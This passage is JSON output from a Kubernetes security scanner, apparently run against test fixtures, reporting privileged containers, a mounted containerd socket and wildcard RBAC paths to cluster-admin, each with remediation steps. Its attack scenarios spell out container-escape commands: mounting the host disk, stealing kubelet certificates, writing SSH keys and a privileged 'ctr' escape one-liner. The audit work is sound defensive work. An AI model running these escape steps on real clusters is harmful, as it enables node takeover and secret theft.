      "Audit why the container needs privileged. Most apps do not. Trace which capability is actually required (often only `NET_BIND_SERVICE`).",
      "Replace `privileged: true` with `capabilities.drop: [ALL]` and an explicit `capabilities.add: [\u003cNEEDED_CAP\u003e]`. Add `allowPrivilegeEscalation: false`, `readOnlyRootFilesystem: true`, `runAsNonRoot: true`, and `seccompProfile.type: RuntimeDefault`.",
      "Enforce at admission time: label the namespace `pod-security.kubernetes.io/enforce: baseline` (or `restricted`) so future regressions are blocked.",
      "Validate with `kubectl get deployment/foothold-priv-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.privileged}'` returning empty/false."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://www.rbtsec.com/blog/kubernetes-penetration-testing-part-three-breaking-out-with-privileged-containers/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Bishop Fox — Bad Pods: Kubernetes Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "RBT Security — Breaking Out of Privileged Containers",
        "url": "https://www.rbtsec.com/blog/kubernetes-penetration-testing-part-three-breaking-out-with-privileged-containers/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:privileged"
    ]
  },
  {
    "id": "KUBE-ESCAPE-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-ESCAPE-001",
    "severity": "CRITICAL",
    "score": 9.9,
    "category": "privilege_escalation",
    "title": "Privileged container `app` in `Deployment/vulnerable/risky-app`",
    "description": "Container `app` in `Deployment/vulnerable/risky-app` is configured with `securityContext.privileged: true`. A privileged container retains every Linux capability (CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_NET_ADMIN, etc.), bypasses all Linux Security Module profiles (AppArmor/SELinux), runs without the default seccomp profile, and shares `/dev` with the host. From the kernel's perspective it is indistinguishable from a process running directly on the node.\n\nThis is the single most dangerous PodSpec setting: capability drops, read-only root filesystem, and `runAsNonRoot` are all neutralised because the container can simply remount, reload kernel modules, or call `setuid(0)`. The Pod Security Standards explicitly forbid privileged containers at both Baseline and Restricted levels.\n\nReal-world breakout: an attacker with code execution loads a kernel module with `insmod` (CAP_SYS_MODULE), or uses `mknod` to recreate `/dev/sda1`, mounts the host root, and writes to `/root/.ssh/authorized_keys`. Public exploit tooling (`deepce`, `kdigger -ac`, `kubeletmein`) automates these in seconds.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Full root on the host node: read every Secret on the node, exfiltrate the kubelet client certificate, schedule pods anywhere, and pivot to other nodes.",
    "attack_scenario": [
      "Attacker gains code execution inside the privileged pod (RCE, malicious image, SSRF→shell).",
      "They confirm the configuration with `kdigger dig admission` or `deepce.sh`.",
      "They mount the host filesystem: `mkdir /host \u0026\u0026 mount /dev/sda1 /host`.",
      "They steal kubelet credentials from `/host/var/lib/kubelet/pki/kubelet-client-current.pem` or write `/host/root/.ssh/authorized_keys`.",
      "With kubelet creds they list every Pod and Secret on the node, then escalate to cluster-admin via the cgroup-release-agent technique or `nsenter -t 1 -a`."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Remove `privileged: true` and explicitly grant only the Linux capabilities the workload actually needs.",
    "remediation_steps": [
      "Audit why the container needs privileged. Most apps do not. Trace which capability is actually required (often only `NET_BIND_SERVICE`).",
      "Replace `privileged: true` with `capabilities.drop: [ALL]` and an explicit `capabilities.add: [\u003cNEEDED_CAP\u003e]`. Add `allowPrivilegeEscalation: false`, `readOnlyRootFilesystem: true`, `runAsNonRoot: true`, and `seccompProfile.type: RuntimeDefault`.",
      "Enforce at admission time: label the namespace `pod-security.kubernetes.io/enforce: baseline` (or `restricted`) so future regressions are blocked.",
      "Validate with `kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.privileged}'` returning empty/false."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://www.rbtsec.com/blog/kubernetes-penetration-testing-part-three-breaking-out-with-privileged-containers/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Bishop Fox — Bad Pods: Kubernetes Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "RBT Security — Breaking Out of Privileged Containers",
        "url": "https://www.rbtsec.com/blog/kubernetes-penetration-testing-part-three-breaking-out-with-privileged-containers/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:privileged"
    ]
  },
  {
    "id": "KUBE-CONTAINERD-SOCKET-001:Deployment:vulnerable:socket-mounts-app:containerd-sock",
    "rule_id": "KUBE-CONTAINERD-SOCKET-001",
    "severity": "CRITICAL",
    "score": 9.8,
    "category": "privilege_escalation",
    "title": "Containerd socket mounted into `Deployment/vulnerable/socket-mounts-app` (volume `containerd-sock`)",
    "description": "Workload `Deployment/vulnerable/socket-mounts-app` mounts containerd's UNIX socket (`/run/containerd/containerd.sock` or `/var/run/containerd/containerd.sock`) into the container via volume `containerd-sock`. Containerd runs as root and is the runtime the kubelet uses to start every pod on the node. In practice, this means that if you can talk to its API, you can create, modify, or exec into any container on the host, including kube-system control-plane pods.\n\nThis is the modern equivalent of the docker.sock anti-pattern. Since Kubernetes 1.24 removed dockershim, most clusters use containerd or CRI-O directly; the same breakout primitives apply but the tooling differs (`ctr`, `crictl`). Kubernetes places its containers under containerd namespace `k8s.io`, so `ctr -n k8s.io containers list` enumerates every pod on the node.\n\nThe Grey Corner's containerd-socket-exploitation series documents the one-liner: install or copy the `ctr` binary, then run `ctr --address /run/containerd/containerd.sock -n k8s.io run --rm --mount type=bind,src=/,dst=/host,options=rbind:rw --privileged docker.io/library/alpine:latest pwn /bin/sh`. The result is a privileged container with `/` mounted at `/host`. From there an attacker reads the kubelet client cert, dumps every pod's secrets, or `task exec`s a reverse shell into the apiserver static pod on a control-plane node.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Root on the node and arbitrary code execution inside any container on the node, including kube-system static pods. Equivalent to compromising the kubelet itself.",
    "attack_scenario": [
      "Code execution in the pod with containerd.sock mounted.",
      "`ls -la /run/containerd/containerd.sock; ctr --address /run/containerd/containerd.sock version`.",
      "List target containers: `ctr -n k8s.io containers list`. Note kube-apiserver, etcd, or any victim app.",
      "Spawn a privileged escape container: `ctr -n k8s.io run --rm --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/alpine:latest x /bin/sh -c 'chroot /host'`.",
      "From host, harvest `/var/lib/kubelet/pki/kubelet-client-current.pem` and pivot to the API server."
    ],
    "evidence": {
      "path": "/var/run/containerd/containerd.sock",
      "volume": "containerd-sock"
    },
    "remediation": "Remove the containerd-socket hostPath mount; use the Kubernetes API or CRI-aware tools instead.",
    "remediation_steps": [
      "Determine why the workload needs CRI access. Legitimate use is rare and typically limited to specific node-agent observability tools. Replace with a Kubernetes-API-driven alternative.",
      "Remove the hostPath volume and volumeMount targeting `/run/containerd/containerd.sock` (and aliases).",
      "For monitoring use cases, use the kubelet's `/metrics/cadvisor` endpoint behind an RBAC-scoped ServiceAccount, not raw socket access.",
      "Validate: `kubectl get deployment/socket-mounts-app -n vulnerable -o yaml | grep -i containerd` returns no socket mount."
    ],
    "references": [
      "https://thegreycorner.com/2025/02/12/containerd-socket-exploitation-part-1.html",
      "https://manpages.debian.org/testing/containerd/ctr.8.en.html",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
    ],
    "learn_more": [
      {
        "title": "The Grey Corner — containerd socket exploitation part 1",
        "url": "https://thegreycorner.com/2025/02/12/containerd-socket-exploitation-part-1.html"
      },
      {
        "title": "containerd ctr(8) man page",
        "url": "https://manpages.debian.org/testing/containerd/ctr.8.en.html"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Microsoft Threat Matrix — Container service account",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.12",
        "title": "Minimize the admission of HostPath volumes",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostPath"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/cert-manager/cert-manager:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cert-manager/cert-manager` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/cert-manager/cert-manager` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/cert-manager/cert-manager` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cert-manager/cert-manager` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cert-manager/cert-manager` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/cert-manager/cert-manager` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/cert-manager/cert-manager` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/cert-manager/cert-manager` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-deputy-cm-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/cutres/cutres-detour:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-detour` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-detour` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/cutres/cutres-detour` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-detour",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-detour` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-detour` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/cutres/cutres-detour` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/cutres/cutres-detour` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`). Evaluated cut: removing this subject from the `cutres-detour-direct` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-detour-direct",
        "source_role": "cluster-admin"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      },
      {
        "step": 2,
        "action": "colocated_sa_token_theft",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "permission": "namespace-admin in cutres",
        "gains": "can steal the token of co-located ServiceAccount cutres/cutres-parallel"
      },
      {
        "step": 3,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-parallel",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-parallel-a",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/cutres/cutres-parallel:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres/cutres-parallel` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/cutres/cutres-parallel` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/cutres/cutres-parallel` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres/cutres-parallel` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/cutres/cutres-parallel` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/cutres/cutres-parallel` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/cutres/cutres-parallel` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`). Evaluated cut: removing this subject from the `cutres-parallel-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/cutres/cutres-parallel` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
